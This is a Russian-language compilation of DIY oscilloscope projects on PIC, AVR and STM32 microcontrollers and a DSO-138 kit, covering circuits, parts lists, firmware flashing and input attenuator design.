365 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Осциллограф на микроконтроллере своими руками

Как собрать осциллограф своими руками — 3 рабочие схемы, советы по монтажу, видео

  1. Осциллограф на PIC18F2550
  2. Цифровой осциллограф для ПК
  3. На AVR — инструкция по сборке, характеристики
  4. Видео

Рассмотрим 3 рабочие схемы осциллографов. Первый прибор собран на микроконтроллере PIC18F2550. Второй осциллограф — цифровой, в основе третьего — микроконтроллер AVR. Поговорим о каждом по порядку.

Осциллограф на PIC18F2550 своими руками — схема, инструкция по сборке

Осциллограф на PIC18F2550 измеряет среднее, максимальное, минимальное, пиковое напряжения и пересечение нулевого уровня. Осциллограф имеет встроенную функцию триггера, который может быть использован для остановки сигнала для его детального изучения. Масштаб времени для отображения может быть легко изменён функцией changeTimeDivision.

Осциллограф измеряет напряжение в пределах 0–5В, 0–2.5В и 0–1,25. Основным недостатком этого осциллографа является низкая частота дискретизации (

60 кГц), а также тот факт, что входы ограничены ограничениями АЦП микроконтроллера. Тем не менее, это очень хороший прибор и первым мы рассмотрим именно его схему.

Схема осциллографа на PIC18F2550

Исходники и прошивку можно будет скачать ниже. Теперь давайте детальнее остановимся на каждом блоке схемы.

Напряжение поступает с 9-вольтовой батареи на интегральный стабилизатор напряжения TC1262-5.0V для обеспечения стабильных 5В для питания микроконтроллера и дисплея. На выходе стоит 1мкФ конденсатор.

Графический ЖК дисплей AGM1264F с разрешением 128х64 пикселей оснащен встроенными контроллером KS0108. Он имеет светодиодную подсветку и генератор отрицательного напряжения для управления.

Вывод A0 настроен на аналоговый вход. Обратите внимание, что сопротивление источника сигнала влияет на напряжение смещения на аналоговом входе. Максимально рекомендованное сопротивление составляет 2.5 кОм.

Микроконтроллер PIC18F2550 работает на частоте 48 МГц от внутреннего генератора. R1 представляет собой нагрузочный резистор, необходимый для работы. C1 является стабилизирующим конденсатором. Компонент пометкой «RES» является 20 MHz резонатором.

Выводы USART должны быть подсоединены к RS-232 конвертеру для подключения к ПК для обновления прошивки. После этого он может быть отключен.

Необходимые детали для сборки осциллографа на PIC18F2550 и прошивка

  • МК PIC 8-бит (IC1) — PIC18F2550
  • Линейный регулятор (IC2) — TC1264, 5 Вольт.
  • Конденсатор (С1) — 0.22 мкФ.
  • Электролитический конденсатор (С2) — 1 мкФ.
  • 2 резистора (R1, R3) — 3.3 кОм и 5 Ом соответственно.
  • Подстроечный резистор (R2) — 10 кОм.
  • Кварцевый резонатор (RES) — 20 МГц.
  • LCD-дисплей — AGM1264F.
  • Батарея питания (G1) — 9 В
  • 3 разъёма — JP1 для подключения дисплея, JP2 для обновления прошивки (RS-232) и JP3 для входа аналогового сигнала.

Микроконтроллер должен быть прошит файлом «SAC_tinybld18F2550usb _20MHz_115200_48MHz». Его можно скачать ниже.

Видео, как работает осциллограф на PIC18F2550:

Цифровой осциллограф RS232 для ПК

Рассмотрим простое решение для создания цифрового компьютерного осциллографа. Устройство построено на базе восьмиразрядного процессора PIC12F675.

Схема цифрового осциллографа для компьютера

Ниже представлена структурная схема осциллографа:

Процессор работает на частоте 20 МГц. Микроконтроллер непрерывно измеряет входное напряжение, преобразовывает его и отправляет цифровое значение на последовательный порт компьютера. Скорость передачи данных последовательного порта — 115кБит и, как показано на следующем рисунке, данные сканируются и отправляются с частотой около 7,5 кГц (134 мкс).

Вот принципиальная схема самого цифрового осциллографа:

Основа схемы — микроконтроллер PIC12F675 (микросхема U2), который работает с тактовой частотой 20 МГц кристалла Y1. J1 — стандартный разъем для подключения питания в 9–12 В, которое затем стабилизируется на U1 до 5 В для питания процессора.

  • Узнайте, как сделать щуп для осциллографа своими руками

После U2 в схему добавляется простой преобразователь TTL уровня с последовательным портом RS232 персонального компьютера. Он построен на базе транзистора BC337 (Q1) и резисторов R1 и R3. Вход 5 микроконтроллера ведет к переключателю S1. В своей основной позиции (1–2) прибор переключается в режим осциллографа постоянного тока (DC измерений), который способен отображать входной сигнал 0–5В. Во второй позиции — в режим осциллографа переменного тока. В этом положении максимальное напряжение — от -2,5 до +2,5 В. Конденсатор С6 подойдет керамический 22000nF, чтобы наблюдать низкие частоты без особых искажений.

При необходимости можно добавить дополнительные входной аттенюатор (сплиттер), или ОУ.

Необходимые радиоэлементы

  • Линейный регулятор (U1) — LM78L05.
  • МК PIC 8-бит (U2) — PIC12F675 (675-I/P).
  • Биполярный транзистор (Q1) — BC337.
  • 6 конденсаторов — С1, С2, С5 (3х0.1 мкФ); С3, С4 (2х22 пФ); С6 (22 мкФ)
  • 4 резистора — R1, R3 (2х1 кОм) и R2, R4 (2х270 кОм).
  • Кварцевый резонатор (Y1) — 20 МГц.
  • Переключатель (S1)
  • 3 разъема — J1 питания, J2 RS232, J3 входа сигнала.

Программное обеспечение

Для управления на Windows доступна простая программа на Visual Basic. Её можно скачать в архиве ниже.

Программа запускается сразу и ожидает появления данных на последовательном порте COM1. Слева — четыре ползунка, используемые для измерения периода и напряжения сигнала. Затем идут вкл/выкл синхронизации, поля для масштабирования или изменения значений размера выборки.

Монтаж

При сборке можно не делать печатную плату, а смонтировать все в небольшой пластиковой коробке навесным монтажом. Корпус должен иметь отверстия для разъема RS232 переключателя, входного гнезда и гнезда питания.

Прошивку для процессора можно скачать в конце статьи. Биты конфигурации (fuse) в процессе программирования должны быть установлены следующим образом:

Вот фото готового прототипа цифрового осциллографа:

Ниже вы можете скачать исходник, прошивку и ПО для Windows.

Осциллограф своими руками на AVR — инструкция по сборке, характеристики

Характеристики осциллографа на AVR:

  1. Частота измерения: 10 Гц–7.7 кГц.
  2. Макс. входное напряжение: 24В AC/30В DC.
  3. Напряжение питания: 12В DC.
  4. Разрешение экрана: 128×64 пикселей.
  5. Область экрана осциллограммы: 100×64 пикселей.
  6. Информационная область экрана: 28×64 пикселей.
  7. Режим триггера: автоматический.

Рассмотрим проект осциллографа с использованием МК PIC18F2550 и графического LCD с контроллером KS0108. В качестве среды разработки здесь использована WinAVR, которая основывается на open source AVR-GNU компиляторе и прекрасно работает с AVR Studio 4. Графическую библиотека разработана специально для данного проекта.

При измерении прямоугольного сигнала, максимальная частота, при которой можно увидеть хорошую осциллограмму составляет около 5 кГц. Для других форм сигналов (синусоида или треугольный сигнал) максимальная частота составляет около 1 кГц.

Схема осциллографа на AVR

Принципиальная схема AVR-осциллографа приведена ниже:

Напряжение питания схемы составляет 12 вольт постоянного тока. Из этого напряжения, в дальнейшем получается еще 2 напряжения: +8.2В для IC1 и +5В — для IC2, IC3.

  • Схема светодиодного осциллографического пробника

Устройство может измерять входное напряжение от +2.5В до -2.5В или от 0 до +5В, зависящее от позиции переключателя S1 (выбор типа входного тока: постоянный или переменный). При использовании пробника 1:10, входное напряжение соответственно может быть увеличено в 10 раз. Кроме того, переключателем S2 можно установить дополнительно деление напряжения на 2.

Необходимые радиоэлементы

  • Операционный усилитель (IC1) — LM358.
  • LCD-дисплей (IC2) — DEM128064A (128×64, контроллер KS0108).
  • МК AVR 8-бит (IC3) — ATmega32.
  • Линейный регулятор (IC4) — LM7805.
  • Стабилитрон (D1) — 1N4738A, 8.2В.
  • Выпрямительный диод (D2) — 1N4007.
  • 7 конденсаторов — C1 (470 нФ); C2 (27 пФ); C4, C7, C9 (3х100 нФ); C5, C6 (2х22 пФ).
  • 2 электролитических конденсатора — C3 (22 мкФ 16 В) и C8 (100 мкФ 25 В).
  • 7 резисторов — R1, R2, R4 (3х1 МОм); R3, R5 (2х390 кОм); R6 (56 Ом); R7 (220 Ом).
  • 2 подстроечных резистора (P1, P2) — 10 кОм и 22 кОм соответственно.
  • Кварц (X1) — 16 МГц.
  • 3 переключателя (S1, S2, S5).
  • 5 кнопок (S3, S4, S6–S8) — замыкающие.
  • 2 разъёма (K1, K2) — 2 контакта вход сигнала, 2 контакта питание.

Прошивка ATmega32 и настройка

Файл прошивки: AVR_oscilloscope.hex, можно будет скачать ниже. При выборе фьюзов необходимо указать использование внешнего кварца. После этого необходимо обязательно отключить JTAG интерфейс. Если этого не сделать, то на осциллографе будет отображаться экран инициализации, а после он будет уходить в перезагрузку.

Для настройки прибора нужно выполнить всего 2 вещи: настроить контрастность LCD при помощи подстроечного резистора Р2 и выставить центр осциллограммы при помощи подстроечного резистора Р1.

Использование

Вы можете перемещать луч осциллограммы вверх или вниз путем нажатия кнопок S8 и S4. Один квадрат на экране, соответствует 1В.

При помощи кнопок S7 и S3 можно увеличивать или уменьшать частоту измерений. Минимальная частота формы сигнала, которая может быть отображена на LCD составляет 460 Гц. Если необходимо посмотреть сигнал с более низкой частотой, например, 30 Гц, то необходимо нажать S7 для сжатия осциллограммы или S3 — для растяжения.

В осциллографе используется автоматический режим триггера. Это означает, что если входной сигнал повторяющийся (к примеру треугольник) то триггер работает хорошо. Но если форма сигнала постоянно меняется (к примеру какая-то последовательность данных), то для фиксации изображения необходимо нажать кнопку S6. Повторное нажатие S6 возвращает в нормальный режим.

Фото готового AVR осциллографа:

Видео работы осциллографа на AVR:


Осциллограф на микроконтроллере своими руками

Этот обзор предназначен для людей, ставящих своей целью построение самодельных осциллографов низкого и среднего уровней сложности. Как правило цифровых, благо современная элементная база (микроконтроллеры) позволяют делать их не слишком сложными. Но и для аналоговых осциллографов многое из нижесказанного вполне применимо.

Данный обзор суммирует опыт, приобретенный мной при пробах и изготовлении более десяти (примерно 15) осциллографов.

Схемотехника построения осциллографов может быть самой различной, поэтому данный обзор не претендует на бесспорность и отражает лишь мой взгляд и мой опыт.

Итак. Для многих радиолюбительских задач считаю, что осциллограф должен позволять рассматривать сигналы с уровнем от 5-20 милливольт, до нескольких десятков вольт.

Чувствительность в милливольтах позволит отлавливать помехи и настраивать фильтры в цепях различных устройств и блоках питания.

Чувствительность в десятки вольт нужна при наладке и диагностике различных блоков питания, особенно импульсных.

Да и многие другие устройства значительно проще налаживать имея осциллограф.

Исходя из этого и получаем требования к входному аттенюатору. Я буду рассматривать аттенюатор, построенный на механических переключателях. Почему — объясню несколько позже.

К сожалению значительное количество ступеней делителя требует применения галетных переключателей. А они как правило весьма габаритны и плохо вписываются в миниатюрные любительские конструкции.

Из наиболее доступных и распространенных встречаются переключатели на три положения. Вот на них и будем ориентироваться.

Схемы входных аттенюаторов

Пожалуй наиболее часто встречается входной аттенюатор (делитель), собранный по схеме, приведенной на рисунке 1.

Схема может быть нарисована по разному, это не принципиально. Зачастую вместо переключателя используют специальные микросхемы – мультиплексоры, суть от этого не меняется. Просто вместо механики, используют микросхему, имеющую цифровое управление и позволяющую реализовать большее количество ступеней делителя, да еще и управляется это все счастье программно, кнопками.

Удобно вроде. Правда есть жирное «НО» в этом деле. При настройке осциллографа обычно подают на его вход прямоугольный сигнал и настраивают емкость С1 и С3, добиваясь плоских вершин импульсов. Примерно вот так. (Здесь и далее идут скриншоты из программы «Мультисим 12»).

Настройка обычно производится один раз. На одном конкретном диапазоне чувствительности. И на этом считается законченной.

Но вот при переключении на другие диапазоны чувствительности, при рассмотрении сигналов с другим напряжением, нас как правило ожидает проблема. Мы вместо прямоугольника можем увидеть такое:

И только конденсаторами С2 и С4 по схеме 1, не меняя настройки конденсатора С1, нам не удается никак это скомпенсировать.

Должен заметить, что на последних двух картинках изображены еще достаточно простые случаи, относительно понятные. А могут быть и куда круче. Вплоть до полной невменяемости. Что делать? Каждый раз настраивать С1? По моему опыту, многие просто даже не обращают внимания на этот нюанс настройки. Ну и в результате видят неизвестно что.

Конечно я не готов утверждать, что в принципе невозможно подобрать конфигурацию корректирующих цепей, составляя отдельные резисторы делителя из нескольких последовательно, со своими компенсирующими емкостями на каждом. Просто мне это не удалось. Ни в железе, ни в Мультисиме.

Чтобы избавиться от данного недостатка лучше применять другую схему входного аттенюатора. По рисунку 2.

Отличие от первой только в том, что переключается не только нижнее плечо делителя, но и верхнее. И частотно компенсирующая емкость для верхнего плеча каждого из делителей настраивается отдельно.

То есть при переключении диапазонов чувствительности картинка прямоугольного импульса меняться не будет. Как мы настроим каждый диапазон отдельно, так это и будет работать.

Но. Эта схема требует уже переключателя с двумя группами контактов. И для верхнего плеча уже в принципе невозможно применить мультиплексоры. Потому, что там действуют уже входные напряжения осциллографа. Т.е. программное управление затруднено.

Можно конечно применить мультиплексоры с электромагнитными реле на выходах и применять аттенюатор по схеме 2, но это вызовет резкий рост габаритов и энергопотребления осциллографа, что весьма нездорово для устройств с батарейным питанием.

Это и определяет то обстоятельство, что я считаю оптимальными именно механические переключатели. О чем упоминал выше.

Как вариант можно применить принцип как в DSO-138 и его последователях.

Клик для увеличения

Та же схема 2, но резисторы верхнего плеча соединены между собой. Но за это придется расплачиваться уменьшением входного сопротивления на диапазоне с максимальной чувствительностью. Из-за влияния ступеней делителя друг на друга.

Словом, на сегодняшний день, считаю оптимальным для несложных самодельных осциллографов использовать входной аттенюатор (делитель) по схеме 2.

Переключение диапазонов

И здесь мы подходим ко второй проблеме этого дела. Трех ступеней делителя НЕДОСТАТОЧНО. Получается, что наименьшие сигналы будет трудно рассмотреть и требуется дополнительное переключение либо растяжка по вертикали.

Можно применить галетники. Но это габариты, сопоставимые с габаритами самого ослика. Наименьший, что у меня есть – на 5 положений 2 направления, размерами чуть длиннее подстроечного советского резистора. Но 5 положений тоже мало, да и он выдран из японской техники очень давно и аналогов мне больше не попадалось. Не путь.

Последний из построенных мной осциллографов это «Осциллограф на микроконтроллере ATMEGA32А» с сайта bezkz. Его особенность в том, что он имеет программную растяжку 2 раза в 2 раза. То есть способен растягивать картинку в 2 и 4 раза.

С трехпозиционным переключателем диапазонов чувствительности получается всего 9 положений. И они достаточно неплохо друг друга перекрывают. Я применил в нем входной аттенюатор на одной плате с усилителем на AD823. Естественно с цепями защиты и т.д.

Еще один вариант осциллографа, который нацеливаюсь переделать, это VirtOS в версии от VetalST под дисплей LS020. Он у меня уже реализован в металле, но диапазон чувствительности (1 вольт на деление, от 2 до 8 делений на экран) не устраивает.

В нем есть программная растяжка в 2 раза и потенциометром еще в 2 раза. Т.е. снова два раза по два, как в «Электрике». Правда переключение уже будет не столь удобное. Но этот ослик мне симпатичен и очень хотел бы довести его до ума. Планирую добавить в него усилитель с аттенюатором и расширить диапазон в 100 раз вниз. Ну а щуп с делителем на 10 — повышает диапазон вверх.

Можно еще также рассмотреть входные усилители на ОУ. Особенности их применения. С конкретными схемами узлов и печатными платами. Но это уже тема для следующей статьи. А пока призываю тех, кто планирует разработку несложных осциллографов, отдать предпочтение все же механическим переключателям во входных делителях.

Для начинающих радиолюбителей такие схемы куда проще в изготовлении и настройке. И на практике мне лично куда удобнее переключать диапазоны просто щелкая переключателями, а не прыгать по пунктам меню кнопками, либо энкодерами. Специально для сайта Радиосхемы — Тришин Александр Олегович. Г. Комсомольск-на Амуре.

USB осциллограф на PIC микроконтроллере

Для разных настроек и поиска неисправностей во всяких преобразователях питания, схемах управления бытовой техникой, для изучения всяких устройств и т.д., там где не требуются точные измерения и высокие частоты, а нужно просто посмотреть на форму сигнала частотой, скажем, до пары мегагерц — более чем достаточно.

Кнопка S2 — это часть железа нужного для бутлоадера. Если при подключении осциллографа к USB держать её нажатой, то PIC заработает в режиме бутлоадера и можно будет обновить прошивку осциллографа при помощи соответствующей утилиты. В качестве АЦП (IC3) была использована «телевизионная» микросхема — TDA8708A. Она вполне доступна во всяких «Чип и Дип»ах и прочих местах добычи деталей. На самом деле это не только АЦП для видеосигнала, но и коммутатор входов, выравниватель и ограничитель уровней белого — чёрного и т.д. Но все эти прелести в данной конструкции не используются. АЦП весьма шустр — частота дискретизации — 30 МГц. В схеме он работает на тактовой частоте 12 МГц — быстрее не нужно, потому что PIC18F2550 просто не сможет быстрее считывать данные. А чем выше частота — тем больше потребление АЦП. Вместо TDA8708A можно использовать любой другой быстродействующий АЦП с параллельным выводом данных, например TDA8703 или что-нибудь от Analog Devices.

Тактовую частоту для АЦП удалось хитрым образом извлечь из PIC’а — там запущен ШИМ с частотой 12 МГц и скважностью 0.25. Тактовый импульс положительной полярности проходит в цикле Q1 PIC’а так что при любом обращении к порту B, которое происходит в цикле Q2 данные АЦП будут уже готовы. Ядро PIC’а работает на частоте 48 МГц, получаемой через PLL от кварца 4 МГц. Команда копирования из регистра в регистр выполняется за 2 такта или 8 циклов. Таким образом, данные АЦП возможно сохранять в память с максимальной частотой 6 МГц при помощи непрерывной последовательности команд MOVFF PORTB, POSTINC0. Для буфера данных используется один банк RAM PIC18F2550 размером 256 байт.

Меньшие частоты дискретизации реализуются добавлением задержки между командами MOVFF. В прошивке реализована простейшая синхронизация по отрицательному или положительному фронту входного сигнала. Цикл сбора данных в буфер запускается командой от PC по USB, после чего можно эти данные по USB прочитать. В результате PC получает 256 8-битных отсчётов которые может, например, отобразить в виде изображения. Входная цепь проста до безобразия. Делитель входного напряжения без всяких изысков сделан на поворотном переключателе. К сожалению не удалось придумать как передавать в PIC положение переключателя, поэтому в графической морде осциллографа есть только значения напряжения в относительных единицах — делениях шкалы. Усилитель входного сигнала (IC2B) работает с усилением в 10 раз, смещение нуля, необходимое для АЦП (он воспринимает сигнал в диапазоне от Vcc — 2.41В до Vcc — 1.41В) обеспечивается напряжением с программируемого генератора опорного напряжения PIC (CVREF IC1, R7,R9) и делителем от отрицательного напряжения питания (R6,R10, R8). Т.к. в корпусе ОУ был «лишний» усилитель (IC2A), я использовал его как повторитель напряжения смещения.

Не забудьте про емкостные цепочки для частотной компенсации входной ёмкости вашего ОУ и ограничивающих диодов, которые отсутствуют на схеме — нужно подобрать ёмкости параллельно резисторам делителя и резистору R1, иначе частотные характеристики входной цепи загубят всю полосу пропускания. С постоянным током всё просто — входное сопротивление ОУ и закрытых диодов на порядки выше сопротивления делителя, так что делитель можно просто посчитать не учитывая входное сопротивление ОУ. Для переменного тока иначе — входная ёмкость ОУ и диодов составляют значительную величину по сравнению с ёмкостью делителя. Из сопротивления делителя и входной ёмкости ОУ и диодов получается пассивный ФНЧ, который искажает входной сигнал.

Чтобы нейтрализовать этот эффект нужно сделать так, чтобы входная ёмкость ОУ и диодов стала значительно меньше ёмкости делителя. Это можно сделать соорудив емкостной делитель параллельно резистивному. Посчитать такой делитель сложно, т.к. неизвестна как входная ёмкость схемы, так и ёмкость монтажа. Проще его подобрать.

Способ подбора такой:
1. Поставить конденсатор ёмкостью примерно 1000 пФ параллельно R18.
2. Выбрать самый чувствительный предел, подать на вход прямоугольные импульсы с частотой 1 кГц и размахом в несколько делений шкалы и подобрать конденсатор параллельно R1 так, чтобы прямоугольники на экране выглядели прямоугольниками, без пиков или завалов на фронтах.
3. Повторить операцию для каждого следующего предела, подбирая конденсаторы параллельно каждому резистору делителя соответственно пределу.
4. Повторить процесс с начала, и убедиться, что на всех пределах всё в порядке ( может проявиться ёмкость монтажа конденсаторов ), и, если что-то не так, слегка подкорректировать ёмкости.

Сам ОУ — это Analog Devices AD823. Самая дорогая часть осциллографа. Но зато полоса 16 МГц — что весьма неплохо.А кроме того, это первое из шустрого, что попалось в розничной продаже за вменяемые деньги.

Конечно же этот сдвоенный ОУ без всяких переделок можно поменять на что-то типа LM2904, но тогда придётся ограничится сигналами звукового диапазона. Больше 20-30 кГц оно не потянет.

Ну и форму прямоугольных, например, сигналов будет слегка искажать. А вот если удастся найти что-то типа OPA2350 (38МГц) — то будет наоборот замечательно.

Источник отрицательного напряжения питания для ОУ сделан на хорошо известной charge-pump ICL7660. Минимум обвязки и никаких индуктивностей. Ток по выходу -5 В конечно у неё невелик, но нам много и не надо. Цепи питания аналоговой части изолированы от помех цифры индуктивностями и ёмкостями (L2, L3, C5, C6). Индуктивности попались номиналом 180 uГн, вот их и поставил. Никаких помех по питанию даже на самом чувствительном пределе. Прошивка PIC заливается по USB с помощью бутлоадера который сидит с 0-го адреса в памяти программ и запускается если при включении удерживать нажатой кнопку S2. Так что прежде чем прошивать PIC — залейте туда сначала бутлоадер — будет проще менять прошивки.
Исходники драйвера осциллографа для ядер 2.6.X находятся в архиве с прошивкой. Там же есть консольная утилитка для проверки работоспособности осциллографа. Её исходники стоит посмотреть, чтобы разобраться как общаться с осциллографом, если хочется написать для него свой софт.
Программа для компьютера проста и аскетична, ее вид показан на рисунках 2 и 3. Подключить осциллограф к USB и запустить qoscilloscope. Требуется QT4.

Рис2. Программа qoscilloscope

На рисунке 4 показан смонтированный осциллограф.

Карманный осциллограф «Лори» на микроконтроллере STM32F103

Максим Керимов
Декабрь 2016 г.

Постановка задачи

Сделать простейший карманный осциллограф с минимальными затратами времени и средств.

Список компонентов

  • Китайский клон платы «Maple Mini» с микроконтроллером STM32F103C8T6 (AKA Blue Pill board).
  • Дисплей 1.8 TFT 128×160 SPI с драйвером ST7735.
  • Пять резисторов и два конденсатора (рис. 3).
  • Линейный регулятор с малым падением напряжения AMS1117-3.3 (по желанию).
  • Щуп-зажим «пинцет» — 2 шт.
  • Кнопка миниатюрная нормально разомкнутая без фиксации, с щелчком.

Рис. 1. Тестовый запуск осциллографа. Синусоида сгенерирована саунд бластером, от того ступенчатая.

Характеристики

7 диапазонов с ценой деления (клетки): 7 µS, 28 µS, 113 µS, 559 µS, 2 mS, 10 mS, 20 mS.
Чувствительность: 0.25 и 1.0 В/дел.
Максимальная амплитуда входного сигнала: 6 В.
Входное сопротивление: 20 kΩ.
Питание: 4 аккумулятора АА.
Потребляемый ток: 80 mA.

Сигнал какой частоты можно увидеть?

Теоретически можно увидеть 477 кГц. Отличить меандр от пилы, теоретически, можно на частотах 350 кГц и ниже. Практически же, более-менее комфортно можно наблюдать сигналы до 200 кГц. Размер клетки: 20 x 20 px.

«Частота развёртки» нашего осциллографа зависит от быстродействия АЦП. В STM32F103 разрядность АЦП фиксирована и равна 12. Это в полтора раза больше, чем нам нужно. В STM32F407, например, разрядность можно уменьшить, что сократит время измерений. Но это уже другая история с другим бюджетом.

Рис. 2. Подключение дисплея.

Рис. 3. Питание и входная цепь.

Делитель напряжения R1-R2 служит для контроля уровня заряда аккумуляторов. В правом верхнем углу экрана — пиктограмма батарейки, как на мобильном телефоне (на фото отсутствует).

Внешний регулятор напряжения нужен не всегда. На плате микроконтроллера есть свой регулятор 3.3 В 100 мА. Если питать дисплей от него, будет греться. На платах другого типа (STM Smart V2 board — с большим разъёмом JTAG) стоит как раз AMS1117, для них внешний не нужен. На некоторых дисплеях тоже есть AMS1117 (и перемычка). Решайте сами.

Последовательно с аккумуляторами имеет смысл поставить выключатель питания ПД9-1 или аналогичный.

Если есть желание увеличить размер своего импеданса, на вход можно добавить неинвертирующий повторитель на ОУ, что позволит достичь значения 1 MΩ и более. Питать ОУ следует непосредственно от аккумуляторов напряжением 4.8 — 5.4 В.

Принцип действия

Половина текста программы — это всевозможные инициализации. Принцип действия цифрового осциллографа прост и очевиден.

АЦП производит серию непрерывных последовательных измерений уровня сигнала. Полученные значения складываются в память средствами DMA. Каждый раз мы засекаем время и определяем продолжительность серии замеров. Так мы узнаём цену деления оси времени.

Анализируя записанные значения уровня сигнала, ищем первый экстремум, после чего рисуем сигнал на экране. Так мы пытаемся сделать подобие синхронизации. Она неплохо работает на гладких сигналах и практически бесполезна на широкополосных.

Даём пользователю насладиться картинкой в течение одной секунды, сами в это время опрашиваем кнопку. Кратковременное нажатие кнопки переключает диапазоны по кругу. Долгое нажатие меняет чувствительность. Затем всё повторяется.

Текст программы (некоторые называют его «скетч»)

  • main.c
  • lcd7735.c — Дисплей и SPI. Инициализация и функции.
  • delay.c — Счётчик: инициализация, функции пауз.
  • ADC.c — АЦП и DMA.
  • font7x15.h — Шрифт.

Для компиляции я использую среду CooCox CoIDE. Не выложил сюда Кокс-проект, поскольку он содержит абсолютные пути к файлам. Проще создать новый, чем править все пути. После создания проекта не забудьте подключить библиотеки: RCC, GPIO, DMA, SPI, TIM, ADC.

Как создать CooCox CoIDE проект

  1. Запускаем IDE. Из меню: Project > New Project
  2. Вводим имя, запоминаем где лежит проект.
  3. Выбираем «Board» , жмём «Next >»
  4. STM32 > STM32F103x > STM32F103C8T6 Core Development Board
  5. В окне «Repository» выбираем вкладку «Peripherals» , подключаем библиотеки (см. рис.)
  6. Чтобы Кокс не ругался на stdio.h , задаём: View > Configuration > Link > Library: «Use Base C Library» .
  7. Распаковываем скачанные файлы в папку проекта.
  8. Жмём «F7» .
  9. Ликуем.
  10. Чтобы автор порадовался вашему триумфу, переводим ему 50 рублей на пиво.

Прошивал при помощи программатора-отладчика ST-Link V2. Можно и без него, через USB-Serial адаптер.

Если у вас есть комментарий по существу, дополнение, которое поможет сделать проект лучше или просто хотите поделиться фотографией своего изделия — присылайте.

Карманный осциллограф на микроконтроллере

Предлагаемый прибор относится, скорее, к разряду осцилло-графических пробников. Его возможности позволяют лишь «на глаз» оценивать форму и параметры низкочастотных сигналов. Тем не менее благодаря своей малогабаритности и экономичности такой осциллограф может найти применение в радиолюбительской практике, особенно при диагностике и ремонте аппаратуры в полевых условиях.

За основу этой разработки взят малогабаритный двухлучевой осциллограф-мультиметр, описанный в [1]. В нём оставлен только один «луч». Максимальная чувствительность канала вертикального отклонения повышена с 640 до 100 мВ (на весь экран). Минимальная длительность развёртки уменьшена с 5 до 3 мс, а при наблюдении логических сигналов — до 300 мкс. Значительно уменьшены габариты прибора, его масса и ток потребления.

Основные технические характеристики

Схема осциллографа изображена на рис. 1. Исследуемый сигнал произвольной формы в зависимости от его амплитуды подают на «Вход 1» — одно из гнёзд 1—5, 7, 8 разъёма Х1, а с его гнездом 6 соединяют общий провод источника исследуемого сигнала. Резисторы R1—R6, задающие чувствительность канала вертикального отклонения осциллографа, смонтированы прямо на выводах гнёзд разъёма. Через усилитель на ОУ К140УД608 (DA1) сигнал поступает на вывод 2 (RA0) микроконтроллера PIC16F873A-I/P (DD1), служащий входом встроенного в него АЦП. Цифровые отсчёты мгновенных значений сигнала за время, соответствующее выбранной длительности развёртки, сохраняются в оперативной памяти микроконтроллера и отображаются на графическом ЖКИ HG1 в виде осциллограммы. Использован ЖКИ MT-12864J-2FLA [2], управление которым ведётся по линиям портов RB0—RB4 и RC0—RC7 микроконтроллера. При разработке программного обеспечения очень полезными оказались рекомендации из статьи [3].

Переменный резистор R10 предназначен для смещения осциллограммы по вертикали. Резистор R17 подбирают, добиваясь наилучшей контрастности изображения на экране индикатора.

Развёртка осциллографа — однократная, запускаемая при каждом нажатии на кнопку SB2. Длительность развёртки изменяют нажатиями на кнопку SB1. После каждого нажатия на экран индикатора выводится число — значение выбранной длительности.

Если установлена длительность развёртки 300 мкс (на весь экран), АЦП микроконтроллера уже не успевает оцифровывать отсчёты исследуемого сигнала. При такой скорости на индикаторе можно наблюдать только характер изменения во времени логических уровней импульсов, поданных на гнездо 9 разъёма Х1 («Вход 2» осциллографа). Через разделительный конденсатор С1 эти импульсы поступают непосредственно на дискретный вход RA1 (вывод 3) микроконтроллера.

Осциллограф собран навесным монтажом на плате (рис. 2), помещённой в корпус, сделанный из коробки для рыболовных снастей. Индикатор HG1 размещён на крышке корпуса. Внешний вид действующего прибора показан на рис. 3. Видимая на фотоснимках третья кнопка оставлена неподключённой. В работе с прибором она не используется.

Исходный код программы на ассемблере и прошивка для микроконтроллера PIC16F873A доступны по этой ссылке.

1. Кичигин А. Малогабаритный двухлучевой осциллограф-мультиметр. — Радио, 2004, № 6, с. 24—26.
2. Жидкокристаллический модуль MT-12864J. — .
3. Милевский А. Использование графического ЖКИ MT-12864A с микроконтроллером фирмы Microchip. — Радио, 2009, № 6, с. 28—31.

Автор: А. Пичугов, пос. Варгаши Курганской обл.
Источник: Журнал Радио 2013 №10

Генератор видеосигнала на микроконтроллере PIC16F84
Простой осциллограф
Как сделать простой осциллограф двоичного сигнала на AVR
Электронные часы с будильником на микроконтроллере AT90S2313-10PI
USB Осциллограф
Автомат полива для дачи и огорода
Электронный регулятор громкости DS1868
Стабилизация мощности тока электродной батареи на микроконтроллере
Светодиодные часы с циферблатом

Цифровой осциллограф своими руками

Осциллограф — это незаменимый помощник в мастерской радиолюбителя. С его помощью можно наблюдать форму сигнала, измерить длительность, частоту, амплитуду. Цифровой осциллограф способен запомнить изображение на экране, выводить на экран сопутствующую информацию о сигнале и многое другое.

Стоит осциллограф дорого, особенно цифровой, а вот сделать его из набора не сложно и не дорого.

Как-то на днях купил я недорого набор для сборки цифрового осциллографа в китайском интернет магазине GEARBEST

Набор пришёл довольно быстро (около 2 нед) с подробной инструкцией, схемой на английском. Было всё понятно, т.к. описание в картинках подробно расписано шаг за шагом.

Принципиальная схема цифрового осциллографа DSO 138

Характеристики осциллографа

Тип: набор DIY цифровой осциллограф

Материал: PCB плата, 2,4″ дисплей + все необходимые компоненты

Входное напряжение: DC 9V (стабилизированное)

Ток потребления: 120 мА

Ширина полосы входного сигнала: 0-200KHz

Чувствительность: 10 мВ / дел — 5В / Div (1 — 2 — 5 прогрессивный способ) электронное регулируемое вертикальное смещение

Частота дискретизации: 1Msps

Входное сопротивление: 1MОм

Макс. входное напряжение: 50Vpp (1:1 щуп)

Буфер: 1024 Bytes

Диапазон времени: 10 микросекунд / Div — 50s / Div (1 — 2 — 5 прогрессивный способ)

Точность: 12 бит

Размер печатной платы: 117 х 76 мм

Вес упаковки: 0,50 кг

Размер продукта (Д х Ш х В ) : 10 х 5 х 2 см

Размер упаковки (Д х Ш х В ) : 13,5 х 7,5 х 9,0 см

Подробное описание сборки набора осциллографа

Этот набор сложнее, чем рассматриваемый ранее набор частотомера, но при аккуратной и внимательной сборке работает сразу без проблем.

